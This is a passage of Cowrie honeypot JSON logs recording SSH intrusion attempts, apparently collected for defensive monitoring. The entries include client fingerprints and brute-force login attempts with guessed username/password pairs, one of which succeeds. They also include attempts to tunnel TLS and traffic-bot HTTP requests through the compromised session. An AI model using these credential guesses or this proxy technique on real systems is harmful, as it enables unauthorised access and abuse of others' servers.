00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\x12\\xb5\\xb1;]\\xb9\\x1a55F{\\xf3\\xc7\\x98e^8{\\x0bO\\x12\"\\x01\\xaa\\x1fy\\\\>\\xbf\\xa4h \\xe3\\x91\\xbcm\\xb0\\xb5\\xbcP\\xc8\\xc0]\\x8f\\x9fM\\xacs\\xb0Y\\x8c\\xbb\\xe4Vb9\\x10\\xb6u:\\xd4\\xce\\xf2\\xaf\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15(|\\xa9\\xd77\\x13\\xd7<\\'\\xc7;\\xf3\\x985\\xaeeZ\\x05(\\x10\\xe3\\xbc\\xa6\\xc3[D\\x9e~Y\\x13+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:13.743332Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:13.762368Z","src_ip":"41.90.100.147","session":"1dbcbeb7aeac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:14.030282Z","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:14.313730Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r)Z\\xbbP\\xf2\\xff\\xb3\\xbeS\\x0e\\x941~\\xd3\\x9e\\xbdy\\xb3\\x18\\xef\\x1e\\xe8\\xd9W\\xfe\\xda=\\xad=7\\x00 \\xfd\\xe9\\x8b\\xa7\\xeb?>\\xceP\\xe7SQ\\xea\\xb0\\xadng\\xc0\\xffm\\xa8r!\\x1b\\x860B\\xee\\x94\\x04\\xd0\\x1e\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\x89\\x98\\xec\\x0f\\x0b\\x0f\\n\\x190\\x9agh\\x80\\x9e\\x1f\\xd9\\xfb\\xda\\x90\\xc0,\\xa0J\\x9b7Z\\xfbW$\\x04>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r)Z\\xbbP\\xf2\\xff\\xb3\\xbeS\\x0e\\x941~\\xd3\\x9e\\xbdy\\xb3\\x18\\xef\\x1e\\xe8\\xd9W\\xfe\\xda=\\xad=7\\x00 \\xfd\\xe9\\x8b\\xa7\\xeb?>\\xceP\\xe7SQ\\xea\\xb0\\xadng\\xc0\\xffm\\xa8r!\\x1b\\x860B\\xee\\x94\\x04\\xd0\\x1e\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\x89\\x98\\xec\\x0f\\x0b\\x0f\\n\\x190\\x9agh\\x80\\x9e\\x1f\\xd9\\xfb\\xda\\x90\\xc0,\\xa0J\\x9b7Z\\xfbW$\\x04>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:14.317106Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:14.743325Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiye2","password":"chiye2","message":"login attempt [chiye2/chiye2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:15.577674Z","src_ip":"91.92.40.36","session":"12d421a56427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:16.982821Z","src_ip":"91.92.40.36","session":"12d421a56427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55408,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c31ec6ce79c","protocol":"ssh","message":"New connection: 91.92.40.36:55408 (159.203.135.109:22) [session: 8c31ec6ce79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:18.120877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:19.076969Z","src_ip":"91.92.40.36","session":"8c31ec6ce79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:19.079988Z","src_ip":"91.92.40.36","session":"8c31ec6ce79c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58824,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd7142106d4","protocol":"ssh","message":"New connection: 123.27.168.40:58824 (10.17.0.5:22) [session: ccd7142106d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:23.170062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:23.174353Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:23.534706Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSW0RD","message":"login attempt [ubuntu/PASSW0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:24.638605Z","src_ip":"91.92.40.36","session":"8c31ec6ce79c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:24.715837Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.097352Z","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.331345Z","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.32322955131531,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.487261Z","src_ip":"128.199.8.54","session":"ac132c6e8152","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.574005Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/15B150 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dm0qPl5EKkh6ZHVmbnglaw%3D%3Ds2vU1O%2FzQtN7qyur2B4GBqquUCdGoexXuwg1a%2FIcj5zy5qhZDS9rnJrY81lDkNKpfAaHx4%2Fbc2f8y%2B50s7apRHQCCz897oe4i73l1hkXg5tFoM7mdP7ZNAciWcvyJDBXdkUqQu9OWxGEEc5PajKhhNNrOlr9crppfOIoRYHEqhAniwWN2iAKSECQ2Zn4sR4EFklRbDm4plQB5fFQ7v1RCb%2BFNKfmEEvK%2BbtJk0MVPR1Jhza7h3nJhw2eh%2FDnUaMV6Hv%2BBnFKawfs88jizw8rJkLcNOVpEIGjfHtb3oZ4zHDcUWFMSpSDe1WfQKdZdwPMa8KLX1Am6XeW82TnZ1vwbo%2BIG4r7aXDPvGXZ75SQHCOKnrS1%2B1%2F0RzyJFi3OqoYTFG4%2BkwA47rrqSsddkQnqVsEvvUJ2H%2BFSXiUzUJpJfIh7CPDJnznvLVplmtlfTU%2Fi2XXsrPamumU%2F2QqPK4h0JHRNSI4ONQrjdJ7lT2oZio354dix7WT2O3Jdvv%2F0YM%2F4IjsSWjGUZ3%2FyPMcJ5qvoi41gGM%2B%2BTPo7HECMg8A29pVv0jKQwyA%2BxCqp4lQAuLpdEZIjEoArFQ9wn%2B5rrkqTM8DoGnFBevRn14UhyNrvHGpxY3svulNuCELjvZ3bO4wOK5ewC66DL1FrmvRQBLCW8JORD1Hb4UYjBsDjTvwNstucmodqcV1W3DeDPxXhqBAvHRMII0rfGqT7iwOvvHrlNZ9FZ39ZcEWgzLH64HizRb%2BVXLePJhXOk3OMFC6%2FwyBgkvx9dlRmt3tmWnqPOJXqxD53SPtlS4SybUpcBGu0GpZ7yqlXuHtJwMw0xYNvmbrw0Y6NebleddDiAFsOxVrPT0h1XQopnPJV43KFEGsekJNDjqzTGwz10B42X4MhHnRGS0WCV95R5Fcy2pt3F1DzKa7YUxdJBGgl0FkMv%2BVXXRTBCuotnL3PeuXVJ2D7M4RT%2FxYEaag52Leo0oKgdF986FQdVLaDK9tOUJKd7%2BjvPmlN3Xc8wVxELtYc8xiztulOfcq%2BI0l9CTu3hZtWQIHYJAmmDULSMZ2eJxKfN541z0S1v%2BF7bP6lLiGXo9RCLmmS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/15B150 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dm0qPl5EKkh6ZHVmbnglaw%3D%3Ds2vU1O%2FzQtN7qyur2B4GBqquUCdGoexXuwg1a%2FIcj5zy5qhZDS9rnJrY81lDkNKpfAaHx4%2Fbc2f8y%2B50s7apRHQCCz897oe4i73l1hkXg5tFoM7mdP7ZNAciWcvyJDBXdkUqQu9OWxGEEc5PajKhhNNrOlr9crppfOIoRYHEqhAniwWN2iAKSECQ2Zn4sR4EFklRbDm4plQB5fFQ7v1RCb%2BFNKfmEEvK%2BbtJk0MVPR1Jhza7h3nJhw2eh%2FDnUaMV6Hv%2BBnFKawfs88jizw8rJkLcNOVpEIGjfHtb3oZ4zHDcUWFMSpSDe1WfQKdZdwPMa8KLX1Am6XeW82TnZ1vwbo%2BIG4r7aXDPvGXZ75SQHCOKnrS1%2B1%2F0RzyJFi3OqoYTFG4%2BkwA47rrqSsddkQnqVsEvvUJ2H%2BFSXiUzUJpJfIh7CPDJnznvLVplmtlfTU%2Fi2XXsrPamumU%2F2QqPK4h0JHRNSI4ONQrjdJ7lT2oZio354dix7WT2O3Jdvv%2F0YM%2F4IjsSWjGUZ3%2FyPMcJ5qvoi41gGM%2B%2BTPo7HECMg8A29pVv0jKQwyA%2BxCqp4lQAuLpdEZIjEoArFQ9wn%2B5rrkqTM8DoGnFBevRn14UhyNrvHGpxY3svulNuCELjvZ3bO4wOK5ewC66DL1FrmvRQBLCW8JORD1Hb4UYjBsDjTvwNstucmodqcV1W3DeDPxXhqBAvHRMII0rfGqT7iwOvvHrlNZ9FZ39ZcEWgzLH64HizRb%2BVXLePJhXOk3OMFC6%2FwyBgkvx9dlRmt3tmWnqPOJXqxD53SPtlS4SybUpcBGu0GpZ7yqlXuHtJwMw0xYNvmbrw0Y6NebleddDiAFsOxVrPT0h1XQopnPJV43KFEGsekJNDjqzTGwz10B42X4MhHnRGS0WCV95R5Fcy2pt3F1DzKa7YUxdJBGgl0FkMv%2BVXXRTBCuotnL3PeuXVJ2D7M4RT%2FxYEaag52Leo0oKgdF986FQdVLaDK9tOUJKd7%2BjvPmlN3Xc8wVxELtYc8xiztulOfcq%2BI0l9CTu3hZtWQIHYJAmmDULSMZ2eJxKfN541z0S1v%2BF7bP6lLiGXo9RCLmmS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.579632Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.810101Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
